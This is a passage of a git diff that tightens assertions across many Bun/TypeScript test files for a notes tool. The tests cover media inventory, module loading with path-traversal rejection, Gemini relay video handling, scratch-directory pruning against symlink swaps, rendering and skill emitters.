git(cwd: string, ...args: string[]) { - const r = Bun.spawnSync(["git", "-C", cwd, ...args]); + // Command-scoped, so neither a global nor an environment-scoped commit.gpgsign reaches the fixture commit. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args]); if (r.exitCode !== 0) throw new Error(r.stderr.toString()); } function put(root: string, path: string, bytes: string) { diff --git a/packages/core/tests/media-effects.test.ts b/packages/core/tests/media-effects.test.ts index f8b8b3672e..3dd1ad64f5 100644 --- a/packages/core/tests/media-effects.test.ts +++ b/packages/core/tests/media-effects.test.ts @@ -28,7 +28,8 @@ const dirs: string[] = []; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function git(cwd: string, ...args: string[]) { - const r = Bun.spawnSync(["git", "-C", cwd, ...args]); + // Command-scoped, so neither a global nor an environment-scoped commit.gpgsign reaches the fixture commit. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args]); if (r.exitCode !== 0) throw new Error(r.stderr.toString()); } function put(root: string, path: string, bytes: string | Buffer) { diff --git a/packages/core/tests/media-inventory.test.ts b/packages/core/tests/media-inventory.test.ts index d93d23c4b6..19e38d51c7 100644 --- a/packages/core/tests/media-inventory.test.ts +++ b/packages/core/tests/media-inventory.test.ts @@ -88,7 +88,7 @@ describe("admission", () => { ["photos/ithaca-shore.jpg", "info", ["media"]], ["voyage/storm-at-sea.mp4", "warning", ["large", "media"]], ]); - expect(findings.every((f) => f.category === "media" && f.urgency === null)).toBe(true); + expect(findings.map((f) => [f.category, f.urgency])).toEqual([["media", null], ["media", null]]); expect(Object.keys(findings[0]!.fingerprintFields)).toEqual(["sha256", "bytes", "classes", "policy", "refs", "pins", "severity", "urgency"]); }); @@ -101,7 +101,7 @@ describe("admission", () => { const inv = inventoryOf(root); expect(inv.items.map((i) => i.path)).toEqual([HARBOUR]); expect(inv.links.symlinks).toBe(1); - expect([...canonicalFindings(mediaCandidates(inv)).values()].some(countedMedia)).toBe(false); + expect([...canonicalFindings(mediaCandidates(inv)).values()].filter(countedMedia).map((f) => f.path)).toEqual([]); }); }); diff --git a/packages/core/tests/media-references.test.ts b/packages/core/tests/media-references.test.ts index bcd8394065..3f0502e624 100644 --- a/packages/core/tests/media-references.test.ts +++ b/packages/core/tests/media-references.test.ts @@ -72,7 +72,7 @@ describe("declared forms", () => { ]); // Each span is exactly the destination as written, so a rewrite touches nothing else. for (const r of refs) expect(text.slice(r.span![0], r.span![1])).toBe(r.target); - expect(refs.every((r) => r.path === HARBOUR && r.note === "places/ithaca.md")).toBe(true); + expect(refs.filter((r) => r.path !== HARBOUR || r.note !== "places/ithaca.md").map((r) => [r.line, r.path, r.note])).toEqual([]); }); test("frontmatter values and HTML src, href and poster are detected and never rewritable", () => { diff --git a/packages/core/tests/module-entry.test.ts b/packages/core/tests/module-entry.test.ts index 1371ed7555..6b13bc414f 100644 --- a/packages/core/tests/module-entry.test.ts +++ b/packages/core/tests/module-entry.test.ts @@ -28,7 +28,8 @@ function brainWithLogbook(): string { test("the fixture module imports only supported entries", () => { const source = readFileSync(join(FIXTURE, "module.ts"), "utf8"); - const specifiers = [...source.matchAll(/^(?:import|export)\s[^;]*?from\s+"([^"]+)"/gm)].map((match) => match[1]); + // `import x from "..."`, `export ... from "..."`, and a bare side-effect `import "..."`. + const specifiers = [...source.matchAll(/^(?:(?:import|export)\s[^;]*?from\s+|import\s+)"([^"]+)"/gm)].map((match) => match[1]); expect(specifiers).toContain("@schlessera/brain/module"); expect(specifiers.filter((specifier) => !SUPPORTED.has(specifier))).toEqual([]); expect(source).not.toMatch(/import\(|require\(/); diff --git a/packages/core/tests/module-renderers.test.ts b/packages/core/tests/module-renderers.test.ts index fa478bf104..ba6284c6b1 100644 --- a/packages/core/tests/module-renderers.test.ts +++ b/packages/core/tests/module-renderers.test.ts @@ -37,8 +37,10 @@ test("CLI lint names unresolved package export", async () => { const result = await runCli(root,["module","lint","figures","--json"]); expect(JSON.parse(result.stdout).findings[0].message).toContain("@odyssey/figures/missing"); expect(result.code).toBe(1); }); -for (const [label,value] of [["unknown field",{client:"@odyssey/figures/ui",typo:true}],["invalid fence",{client:"@odyssey/figures/ui",fences:["Diagram"]}],["invalid extension",{client:"@odyssey/figures/ui",extensions:["svg"]}],["foreign export",{client:"@odyssey/other/ui"}],["path traversal",{client:"@odyssey/figures/../ui"}],["prefix spoof",{client:"@odyssey/figures-other/ui"}]] as const) { - test(`rejects ${label}`,async()=>{const {root}=fixture(value);await expect(loadModules(config,root)).rejects.toThrow();}); +// Each refusal names its own cause: a bare rejects.toThrow() would also pass on a fixture that fails to load at all. +const ownSubpath = "must name an export subpath of its own package"; +for (const [label,value,reason] of [["unknown field",{client:"@odyssey/figures/ui",typo:true},'renderers.figure: Unrecognized key: "typo"'],["invalid fence",{client:"@odyssey/figures/ui",fences:["Diagram"]},"renderers.figure.fences.0: Invalid string"],["invalid extension",{client:"@odyssey/figures/ui",extensions:["svg"]},'renderers.figure.extensions.0: Invalid string: must start with "."'],["foreign export",{client:"@odyssey/other/ui"},`"@odyssey/other/ui" ${ownSubpath}`],["path traversal",{client:"@odyssey/figures/../ui"},`"@odyssey/figures/../ui" ${ownSubpath}`],["prefix spoof",{client:"@odyssey/figures-other/ui"},`"@odyssey/figures-other/ui" ${ownSubpath}`]] as const) { + test(`rejects ${label}`,async()=>{const {root}=fixture(value);await expect(loadModules(config,root)).rejects.toThrow(reason);}); } for (const declaration of [{fences:["mermaid"]},{fences:["mmd"]},{extensions:[".mmd"]},{extensions:[".mermaid"]}]) { test(`reserves built-in claim ${JSON.stringify(declaration)}`,async()=>{const {root}=fixture({client:"@odyssey/figures/ui",...declaration});await expect(loadModules(config,root)).rejects.toThrow("reserved");}); diff --git a/packages/core/tests/okf-exporter.test.ts b/packages/core/tests/okf-exporter.test.ts index ee0c1e81d2..f77ce27820 100644 --- a/packages/core/tests/okf-exporter.test.ts +++ b/packages/core/tests/okf-exporter.test.ts @@ -346,7 +346,11 @@ describe("OKF checker", () => { }); const errorReport = checkOkfBundle(errorRoot); expect(errorReport.ok).toBe(false); - expect(errorReport.errors).toBeGreaterThanOrEqual(4); + // One conformance error per broken rule, so losing any one check turns this red. + expect(errorReport.issues.map((issue) => `${issue.severity} ${issue.path}`).sort()).toEqual([ + "error empty-type.md", "error index.md", "error index.md", "error log.md", "error missing-frontmatter.md", + ]); + expect(errorReport.errors).toBe(5); }); test("finds frontmatter after a byte order mark, as the parser reads it (#2507)", () => { diff --git a/packages/core/tests/paid-provider-qualification.test.ts b/packages/core/tests/paid-provider-qualification.test.ts index 82e9d9939b..3721587eb3 100644 --- a/packages/core/tests/paid-provider-qualification.test.ts +++ b/packages/core/tests/paid-provider-qualification.test.ts @@ -118,19 +118,19 @@ for (const mode of ["providers", "cli", "images"] as const) { expect( result.transport .slice(0, 5) - .every( + .filter( (call: { method: string; model: string }) => - call.method === "POST" && - call.model.replace(/^models\//, "") === "gemini-embedding-2" + call.method !== "POST" || + call.model.replace(/^models\//, "") !== "gemini-embedding-2" ), "NATIVE_EMBEDDING_MODEL_AND_METHOD" - ).toBe(true); + ).toEqual([]); expect( - result.transport.some( - (call: { method: string; path: string }) => - call.method === "DELETE" && call.path === "/v1beta/files/odysseus" - ) - ).toBe(true); + result.transport.map((call: { method: string; path: string }) => [ + call.method, + call.path, + ]) + ).toContainEqual(["DELETE", "/v1beta/files/odysseus"]); } else if (mode === "cli") { expect(Number(result.index.code), String(result.index.stderr)).toBe(0); expect(result.index.embeddingRequests).toBeGreaterThan(0); diff --git a/packages/core/tests/propagation-review.test.ts b/packages/core/tests/propagation-review.test.ts index 632907b053..a35c2daa9d 100644 --- a/packages/core/tests/propagation-review.test.ts +++ b/packages/core/tests/propagation-review.test.ts @@ -154,7 +154,7 @@ test("real CLI reconciliation automates benign findings and cached judgment pers writeFileSync(source, readFileSync(source, "utf8") + "\nAn escort is now required.\n"); const changed = await scriptedCli(brain, ["reconcile"], "needs_update"); expect(changed.propagation.reviewRequired).toBe(1); - expect(changed.detected.some((i: { category: string }) => i.category === "propagation")).toBe(true); + expect(changed.detected.map((i: { category: string }) => i.category)).toContain("propagation"); expect(readFileSync(requests, "utf8").trim().split("\n")).toHaveLength(2); }); @@ -162,7 +162,7 @@ test("inspection-only next does not ask a provider or write a receipt even with const brain = fixture(); const baseline = await runCli(brain.root, ["hygiene", "reconcile", "--json"]); // Explicitly keyless child. expect(baseline.code, baseline.stderr).toBe(0); - expect(JSON.parse(baseline.stdout).detected.some((i: { category: string }) => i.category === "propagation")).toBe(true); + expect(JSON.parse(baseline.stdout).detected.map((i: { category: string }) => i.category)).toContain("propagation"); await scriptedCli(brain, ["next", "--dry-run"], "forbid"); expect(existsSync(join(brain.root, "propagation-requests.jsonl"))).toBe(false); expect(existsSync(join(brain.root, PROPAGATION_REVIEWS_PATH))).toBe(false); diff --git a/packages/core/tests/provider-relay-video.test.ts b/packages/core/tests/provider-relay-video.test.ts index cf3474b8cf..dda4aef855 100644 --- a/packages/core/tests/provider-relay-video.test.ts +++ b/packages/core/tests/provider-relay-video.test.ts @@ -65,8 +65,26 @@ afterEach(() => { const video = () => ({ kind: "video" as const, path: join(directory, "troy.mp4"), mimeType: "video/mp4" }); +/** + * Run `fn` with the Files API poll interval (the 1000 ms wait between status + * polls in video.ts) moved to the next timer turn; every other timer stays + * real. Returns the poll waits it shortened, so a test can say there was one. + */ +async function withShortPolls(fn: () => Promise): Promise<{ value: T; polls: number }> { + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!; + const real = descriptor.value as (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => unknown; + let polls = 0; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => { + if (delay !== 1000) return real(callback, delay, ...args); + polls++; + return real(callback, 0, ...args); + } }); + try { return { value: await fn(), polls }; } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } +} + test("a relayed local video runs its whole Files lifecycle through the relay socket, with no key", async () => { - const answer = await geminiCompletions().complete({ prompt: "What happens first?", parts: [video()] }); + const { value: answer, polls } = await withShortPolls(() => geminiCompletions().complete({ prompt: "What happens first?", parts: [video()] })); + expect(polls).toBe(1); expect(answer, "RELAYED_VIDEO_COMPLETES").toContain("The fleet leaves Troy"); expect(sent.map(request => `${request.method} ${request.url}`), "RELAYED_VIDEO_LIFECYCLE").toEqual([ "POST /upload/v1beta/files", @@ -75,21 +93,24 @@ test("a relayed local video runs its whole Files lifecycle through the relay soc "POST /v1beta/models/gemini-3-flash-preview:generateContent", "DELETE /v1beta/files/troy-1", ]); - expect(sent.every(request => request.unix === SOCKET), "EVERY_STEP_THROUGH_RELAY_SOCKET").toBe(true); - expect(sent.every(request => request.headers["x-brain-provider"] === "gemini" && request.headers["x-brain-provider-origin"] === ORIGIN)).toBe(true); + expect(sent.filter(request => request.unix !== SOCKET).map(request => request.url), "EVERY_STEP_THROUGH_RELAY_SOCKET").toEqual([]); + expect(sent.filter(request => request.headers["x-brain-provider"] !== "gemini" || request.headers["x-brain-provider-origin"] !== ORIGIN) + .map(request => request.url), "EVERY_STEP_NAMES_THE_PROVIDER").toEqual([]); expect(sent.filter(request => request.headers["x-goog-api-key"] || request.headers.authorization), "WORKER_SENDS_NO_KEY").toEqual([]); }); test("a cancelled relayed video still deletes its uploaded file through the relay", async () => { hangAt = "poll"; const controller = new AbortController(); - const pending = geminiCompletions().complete({ prompt: "What happens first?", parts: [video()], signal: controller.signal }); - for (let tries = 0; !sent.some(request => request.method === "GET") && tries < 2000; tries++) await Bun.sleep(5); - controller.abort(new Error("Odysseus cancelled the watch")); - const failure = await pending.then(() => "", (error: Error) => error.message); + const { value: failure } = await withShortPolls(async () => { + const pending = geminiCompletions().complete({ prompt: "What happens first?", parts: [video()], signal: controller.signal }); + for (let tries = 0; !sent.some(request => request.method === "GET") && tries < 2000; tries++) await Bun.sleep(5); + controller.abort(new Error("Odysseus cancelled the watch")); + return pending.then(() => "", (error: Error) => error.message); + }); expect(failure).toContain("Odysseus cancelled the watch"); const deletes = sent.filter(request => request.method === "DELETE"); expect(deletes.map(request => request.url), "CANCELLED_VIDEO_DELETES_OWNED_FILE").toEqual(["/v1beta/files/troy-1"]); expect(deletes[0]!.unix, "CANCELLED_CLEANUP_THROUGH_RELAY").toBe(SOCKET); - expect(sent.some(request => request.url.endsWith(":generateContent")), "CANCELLED_BEFORE_GENERATION").toBe(false); + expect(sent.map(request => request.url).filter(url => url.endsWith(":generateContent")), "CANCELLED_BEFORE_GENERATION").toEqual([]); }); diff --git a/packages/core/tests/render-scratch.test.ts b/packages/core/tests/render-scratch.test.ts index 1c380ad450..542397d190 100644 --- a/packages/core/tests/render-scratch.test.ts +++ b/packages/core/tests/render-scratch.test.ts @@ -6,7 +6,7 @@ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, readFileSync, readdirSync, rmSync, statSync, symlinkSync, truncateSync, utimesSync, writeFileSync } from "fs"; import { join } from "path"; -import { SCRATCH_MAX_BYTES } from "../src/lib/scratch"; +import { ignoreScratch, SCRATCH_MAX_BYTES } from "../src/lib/scratch"; import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; let root: string; @@ -30,6 +30,10 @@ beforeEach(() => { afterEach(() => cleanup(root)); +// The ignore line `brain doctor --fix` writes, written in-process: the doctor's +// own fix is proved by the tests that name it, and a CLI launch costs most of a second. +const ignored = () => expect(ignoreScratch(root)).toBe(true); + const scratchFiles = () => existsSync(join(root, ".brain/scratch")) ? readdirSync(join(root, ".brain/scratch")) : []; @@ -61,7 +65,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("a write into scratch prunes it, so it never waits for the daily pass", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); mkdirSync(join(root, ".brain/scratch"), { recursive: true }); const stale = join(root, ".brain/scratch/stale.pdf"); writeFileSync(stale, "old"); @@ -74,7 +78,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("two inputs with one basename, and two renders of one input, all keep their own output", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); mkdirSync(join(root, "notes/a"), { recursive: true }); mkdirSync(join(root, "notes/b"), { recursive: true }); writeFileSync(join(root, "notes/a/report.md"), "# Report A\n"); @@ -95,8 +99,8 @@ describe("render into the scratch area", () => { // A link out of the brain is already refused as an escape; a link to a // directory inside it is contained, and is the case the guard exists for: // a "scratch" write would otherwise become content. - await runCli(root, ["doctor", "--fix"]); - // The check created the (empty) directory; the link takes its place. + ignored(); + // A link takes the scratch directory's place. rmSync(join(root, ".brain/scratch"), { recursive: true, force: true }); symlinkSync(join("..", "notes"), join(root, ".brain/scratch")); const res = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--scratch"]); @@ -106,7 +110,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("stdin without --out goes to scratch", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); const proc = Bun.spawn(["bun", BRAIN_BIN, "render", "-", "--format", "html", "--json"], { env: keylessEnv(root), stdout: "pipe", @@ -125,7 +129,7 @@ describe("render into the scratch area", () => { const res = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--out", ".brain/scratch/x.html"]); expect(res.code).toBe(1); expect(res.stderr + res.stdout).toContain("brain doctor --fix"); - await runCli(root, ["doctor", "--fix"]); + ignored(); for (let i = 0; i < 2; i++) { const again = await runCli(root, ["render", "notes/trip.md", "--format", "html", "--out", ".brain/scratch/x.html"]); expect(again.code).toBe(0); @@ -146,7 +150,7 @@ describe("render into the scratch area", () => { }, CLI_TIMEOUT_MS); test("retained pins over the cap do not let the render delete its own reported output (#1691)", async () => { - await runCli(root, ["doctor", "--fix"]); + ignored(); // A retained conversation pins a file larger than the cap on its own. // Sparse: the size counts, no GiB of blocks is allocated. const pinned = join(root, ".brain/scratch/voyage-log.bin"); diff --git a/packages/core/tests/render.test.ts b/packages/core/tests/render.test.ts index a36de95bec..cc476f7cc0 100644 --- a/packages/core/tests/render.test.ts +++ b/packages/core/tests/render.test.ts @@ -149,18 +149,28 @@ describe("brain render", () => { expect(readFileSync(join(root, "notes/stdin.html"), "utf8")).toContain("

From stdin

"); }); + // A markdown heading inside an .html file tells the two parsers apart: HTML + // keeps it as text, markdown makes it a heading. Each test writes its own input. + const RAW = '
raw
\n\n# Ithaca\n'; + test("treats .html input as HTML, not markdown", async () => { - writeFileSync(join(root, "notes/raw.html"), '
raw
'); - await render(["notes/raw.html", "--format", "html", "--out", "notes/t7.html"]); + writeFileSync(join(root, "notes/raw.html"), RAW); + const res = await render(["notes/raw.html", "--format", "html", "--out", "notes/t7.html"]); + expect(res.code).toBe(0); const html = readFileSync(join(root, "notes/t7.html"), "utf8"); expect(html).toContain('
raw
'); + expect(html).toContain("# Ithaca"); + expect(html).not.toContain("

Ithaca

"); }); test("--as overrides the extension", async () => { - await render(["notes/raw.html", "--format", "html", "--out", "notes/t8.html", "--as", "markdown"]); - // As markdown, the raw div is a block-level passthrough but the file is - // still parsed rather than copied — assert the parser ran. - expect(existsSync(join(root, "notes/t8.html"))).toBe(true); + writeFileSync(join(root, "notes/raw-as.html"), RAW); + const res = await render(["notes/raw-as.html", "--format", "html", "--out", "notes/t13.html", "--as", "markdown"]); + expect(res.code).toBe(0); + // As markdown, the raw div is a block-level passthrough and the heading is parsed. + const html = readFileSync(join(root, "notes/t13.html"), "utf8"); + expect(html).toContain('
raw
'); + expect(html).toContain("

Ithaca

"); }); }); diff --git a/packages/core/tests/reranker-helpers.test.ts b/packages/core/tests/reranker-helpers.test.ts index b781abb76e..7000505ec7 100644 --- a/packages/core/tests/reranker-helpers.test.ts +++ b/packages/core/tests/reranker-helpers.test.ts @@ -46,8 +46,8 @@ describe("buildPathMatcher", () => { test("glob patterns match the whole path", () => { const m = buildPathMatcher(["clients/**/ledger.md", "*.pdf"])!; - expect(m("clients/acme/ledger.md")).toBe(true); - expect(m("clients/acme/profile.md")).toBe(false); + expect(m("clients/ithaca/ledger.md")).toBe(true); + expect(m("clients/ithaca/profile.md")).toBe(false); expect(m("cv.pdf")).toBe(true); expect(m("me/cv.pdf")).toBe(false); }); diff --git a/packages/core/tests/safe-path.test.ts b/packages/core/tests/safe-path.test.ts index b8a436078d..9d0adf0227 100644 --- a/packages/core/tests/safe-path.test.ts +++ b/packages/core/tests/safe-path.test.ts @@ -116,10 +116,11 @@ describe("safeResolve — dangling and cyclic symlinks", () => { describe("resolveWritable", () => { const root = mkdtempSync(join(tmpdir(), "brain-writable-")); + fixtures.push(root); test("a repo-relative path resolves inside the repo", () => { const r = resolveWritable(root, "notes/x.md"); - expect(r?.startsWith(realpathSync(root))).toBe(true); + expect(r).toBe(join(realpathSync(root), "notes/x.md")); }); test("the scratch area is inside the repo, so it resolves", () => { @@ -130,7 +131,7 @@ describe("resolveWritable", () => { // Output there could not be opened from the UI; transient output goes to // the brain's scratch area instead. const target = join(tmpdir(), "scratch", "x.html"); - expect(target.startsWith(realpathSync(root))).toBe(false); + expect(target).not.toStartWith(realpathSync(root)); expect(resolveWritable(root, target)).toBeNull(); }); diff --git a/packages/core/tests/scratch.test.ts b/packages/core/tests/scratch.test.ts index 6d4628adfa..26f7fe43b7 100644 --- a/packages/core/tests/scratch.test.ts +++ b/packages/core/tests/scratch.test.ts @@ -305,22 +305,24 @@ describe("a prune beside another process", () => { * becomes a symlink to a directory outside the brain that holds a file of * the listed name. The old path now names the outside file. */ - function swapNestedAfterListing(): { file: string } { + function swapNestedAfterListing(): { file: string; swapped: () => boolean } { file("nested/victim.pdf", 7, SCRATCH_TTL_MS + 1000); const outside = outsideDir(); outsides.push(outside.dir); const nested = join(root, SCRATCH_DIR, "nested"); + let swapped = false; const real = fs.readdirSync; const spy = spyOn(fs, "readdirSync").mockImplementation(((path: fs.PathLike, options?: unknown) => { const result = real(path, options as never); if (String(path) === nested && !isSymlinkNow(nested)) { rmSync(nested, { recursive: true, force: true }); symlinkSync(outside.dir, nested); + swapped = true; } return result; }) as typeof fs.readdirSync); spies.push(spy); - return { file: outside.file }; + return { file: outside.file, swapped: () => swapped }; } const isSymlinkNow = (p: string) => fs.lstatSync(p, { throwIfNoEntry: false })?.isSymbolicLink() === true; const spies: { mockRestore(): void }[] = []; @@ -331,6 +333,7 @@ describe("a prune beside another process", () => { test("prune: an ancestor swapped for a link between the listing and the unlink is skipped, the outside file survives", () => { const outside = swapNestedAfterListing(); const report = pruneScratch(root, NOW); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.file)).toBe(true); expect(readFileSync(outside.file, "utf8")).toBe("keep me"); expect(report.removed).toEqual([]); @@ -339,6 +342,7 @@ describe("a prune beside another process", () => { test("clean: the same swap, the same outcome", () => { const outside = swapNestedAfterListing(); const report = cleanScratch(root); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.file)).toBe(true); expect(report.removed).toEqual([]); }); @@ -378,7 +382,7 @@ describe("a prune beside another process", () => { * descends, `nested` becomes a link to an outside directory holding an * empty `deep` of the listed name. */ - function swapNestedAfterCleanupListing(ageMs: number): { deep: string } { + function swapNestedAfterCleanupListing(ageMs: number): { deep: string; swapped: () => boolean } { file("nested/deep/x.bin", 5, ageMs); const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); outsides.push(outside); @@ -397,12 +401,13 @@ describe("a prune beside another process", () => { return result; }) as typeof fs.readdirSync); spies.push(spy); - return { deep }; + return { deep, swapped: () => reads >= 2 }; } test("prune: a directory swapped for a link after the cleanup listed it is not descended into, the outside directory survives", () => { const outside = swapNestedAfterCleanupListing(SCRATCH_TTL_MS + 1000); pruneScratch(root, NOW); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.deep)).toBe(true); expect(lstatSync(outside.deep).isDirectory()).toBe(true); }); @@ -410,6 +415,7 @@ describe("a prune beside another process", () => { test("clean: the same swap, the outside directory survives", () => { const outside = swapNestedAfterCleanupListing(0); cleanScratch(root); + expect(outside.swapped(), "SWAP_HAPPENED").toBe(true); expect(existsSync(outside.deep)).toBe(true); }); diff --git a/packages/core/tests/seam-contracts.test.ts b/packages/core/tests/seam-contracts.test.ts index fe69fdcf78..4656b9c87b 100644 --- a/packages/core/tests/seam-contracts.test.ts +++ b/packages/core/tests/seam-contracts.test.ts @@ -92,6 +92,7 @@ async function anthropic(url: URL): Promise { } const realFetch = globalThis.fetch; +const fetchDescriptor = Object.getOwnPropertyDescriptor(globalThis, "fetch"); /** * Every variable the installed Gemini SDK reads besides the key it is handed: @@ -127,7 +128,8 @@ beforeAll(() => { }); afterAll(() => { - globalThis.fetch = realFetch; + if (fetchDescriptor) Object.defineProperty(globalThis, "fetch", fetchDescriptor); + else delete (globalThis as { fetch?: unknown }).fetch; delete process.env[KEY_ENV]; for (const [name, value] of Object.entries(savedEnv)) { if (value !== undefined) process.env[name] = value; diff --git a/packages/core/tests/search-result-tags.test.ts b/packages/core/tests/search-result-tags.test.ts index 0d915952a8..8c9e96c0fc 100644 --- a/packages/core/tests/search-result-tags.test.ts +++ b/packages/core/tests/search-result-tags.test.ts @@ -44,7 +44,7 @@ describe("nullable tags from actual retrieval projections", () => { expect(result.warnings).toEqual([]); assertTags(result.results); expect(result.results.map(r => r.path)).toEqual(["notes/1.md", "notes/2.md"]); - expect(result.results.every(r => Number.isFinite(r.score) && r.score > 0)).toBe(true); + expect(result.results.filter(r => !(Number.isFinite(r.score) && r.score > 0)).map(r => [r.path, r.score])).toEqual([]); expect(embeddingCalls).toBe(mode === "fts" ? 0 : 1); }); diff --git a/packages/core/tests/skills-claude-emitter.test.ts b/packages/core/tests/skills-claude-emitter.test.ts index 81eb0f9bbb..b4fb2e01ed 100644 --- a/packages/core/tests/skills-claude-emitter.test.ts +++ b/packages/core/tests/skills-claude-emitter.test.ts @@ -25,12 +25,17 @@ function skill(root: string, name: string): SkillManifest { } describe("claudeEmitter symlink round-trip", () => { - const root = mkRepo(); - const one = skill(root, "one"); - const two = skill(root, "two"); - const claudeDir = join(root, ".claude", "skills"); + /** A fresh repo with skills one and two, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const one = skill(root, "one"); + const two = skill(root, "two"); + for (let run = 0; run < times; run++) claudeEmitter.emit([one, two], root); + return { root, one, two, claudeDir: join(root, ".claude", "skills") }; + } test("first emit creates relative symlinks", () => { + const { root, one, two, claudeDir } = repo(0); const res = claudeEmitter.emit([one, two], root); expect(res.written.sort()).toEqual([".claude/skills/one", ".claude/skills/two"]); expect(res.removed).toEqual([]); @@ -42,12 +47,14 @@ describe("claudeEmitter symlink round-trip", () => { }); test("second emit is idempotent (no writes, no removals)", () => { + const { root, one, two } = repo(1); const res = claudeEmitter.emit([one, two], root); expect(res.written).toEqual([]); expect(res.removed).toEqual([]); }); test("dropping a skill prunes its stale symlink", () => { + const { root, one, claudeDir } = repo(1); const res = claudeEmitter.emit([one], root); expect(res.removed).toEqual([".claude/skills/two"]); expect(existsSync(join(claudeDir, "two"))).toBe(false); diff --git a/packages/core/tests/skills-discover.test.ts b/packages/core/tests/skills-discover.test.ts index 2b335dcafe..d6469a42d3 100644 --- a/packages/core/tests/skills-discover.test.ts +++ b/packages/core/tests/skills-discover.test.ts @@ -87,8 +87,8 @@ describe("discoverSkills precedence", () => { test("invalid/missing frontmatter is warned and skipped", () => { expect(map.broken).toBeUndefined(); expect(map.nodesc).toBeUndefined(); - expect(warnings.some((w) => w.includes("broken/SKILL.md"))).toBe(true); - expect(warnings.some((w) => w.includes("nodesc/SKILL.md"))).toBe(true); + expect(warnings).toContainEqual(expect.stringContaining("broken/SKILL.md")); + expect(warnings).toContainEqual(expect.stringContaining("nodesc/SKILL.md")); }); }); @@ -105,7 +105,7 @@ describe("discoverSkills edge cases", () => { { coreSkillsDir: mkTmp("bf-emptycore-") } ); expect(byName(skills).dup.description).toBe("from A"); - expect(warnings.some((w) => w.includes("more than one module"))).toBe(true); + expect(warnings).toContainEqual(expect.stringContaining("more than one module")); }); test("symlinked entries under .agents/skills are not read as local skills", () => { diff --git a/packages/core/tests/skills-index-emitters.test.ts b/packages/core/tests/skills-index-emitters.test.ts index f38c765460..11d2015864 100644 --- a/packages/core/tests/skills-index-emitters.test.ts +++ b/packages/core/tests/skills-index-emitters.test.ts @@ -97,30 +97,38 @@ function readOnly(paths: string[], fn: () => T): T { } describe("codexEmitter AGENTS.md contract block", () => { - const root = mkRepo(); - const add = skill(root, "add", "Capture a note into the brain."); - const audit = skill(root, "audit", "Report hygiene issues: staleness, orphans."); - const agentsFile = join(root, "AGENTS.md"); + /** A fresh repo with two skills, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const add = skill(root, "add", "Capture a note into the brain."); + const audit = skill(root, "audit", "Report hygiene issues: staleness, orphans."); + for (let run = 0; run < times; run++) codexEmitter.emit([add, audit], root); + return { root, add, audit, agentsFile: join(root, "AGENTS.md") }; + } test("writes AGENTS.md and no .codex directory", () => { + const { root, add, audit } = repo(0); const res = codexEmitter.emit([add, audit], root); expect(res.written).toEqual(["AGENTS.md"]); expect(existsSync(join(root, ".codex"))).toBe(false); }); test("the block's text is the body of the installed CONTRACT.md", () => { + const { agentsFile } = repo(1); expect(contractBody.length).toBeGreaterThan(0); expect(contractBody).toContain("source of truth"); expect(contractBlockBody(readFileSync(agentsFile, "utf8"))).toBe(contractBody); }); test("the block restates no skill", () => { + const { agentsFile } = repo(1); const text = readFileSync(agentsFile, "utf8"); expect(text).not.toContain(INDEX_START); expect(text).not.toContain("Capture a note into the brain."); }); test("re-running on an unchanged skill set makes no write at all", () => { + const { root, add, audit, agentsFile } = repo(1); const before = readFileSync(agentsFile); const res = readOnly([agentsFile, root], () => codexEmitter.emit([add, audit], root)); expect(res).toEqual({ written: [], removed: [], warnings: [] }); @@ -129,21 +137,27 @@ describe("codexEmitter AGENTS.md contract block", () => { }); describe("contract block preserves surrounding content", () => { - const root = mkRepo(); - const add = skill(root, "add", "Capture a note."); - const agentsFile = join(root, "AGENTS.md"); const preamble = "# My Repo\n\nHand-written guidance the emitter must never touch.\n"; const postamble = "\n## After\n\nMore hand-written text, below the block.\n"; - - test("appends the block below existing content", () => { + /** A fresh repo whose hand-written AGENTS.md has had the block appended once. */ + function appended() { + const root = mkRepo(); + const add = skill(root, "add", "Capture a note."); + const agentsFile = join(root, "AGENTS.md"); writeFileSync(agentsFile, preamble); codexEmitter.emit([add], root); + return { root, add, agentsFile }; + } + + test("appends the block below existing content", () => { + const { agentsFile } = appended(); const text = readFileSync(agentsFile, "utf8"); - expect(text.startsWith(preamble)).toBe(true); + expect(text.slice(0, preamble.length)).toBe(preamble); expect(text).toContain(CONTRACT_START); }); test("content on both sides of the markers is byte-identical after a sync", () => { + const { root, add, agentsFile } = appended(); writeFileSync(agentsFile, readFileSync(agentsFile, "utf8") + postamble); const staleBlock = readFileSync(agentsFile, "utf8").replace( /[\s\S]*/, @@ -166,6 +180,9 @@ describe("contract block preserves surrounding content", () => { }); test("re-run makes no write with the surrounding content intact", () => { + const { root, add, agentsFile } = appended(); + writeFileSync(agentsFile, readFileSync(agentsFile, "utf8") + postamble); + codexEmitter.emit([add], root); const before = readFileSync(agentsFile); const res = readOnly([agentsFile, root], () => codexEmitter.emit([add], root)); expect(res.written).toEqual([]); @@ -461,7 +478,8 @@ describe("syncSkills surfaces an emitter's warnings", () => { const root = mkRepo(); writeFileSync(join(root, "AGENTS.md"), `${CONTRACT_START}\nno end\n`); const res = syncSkills({ root, modules: [] }, { 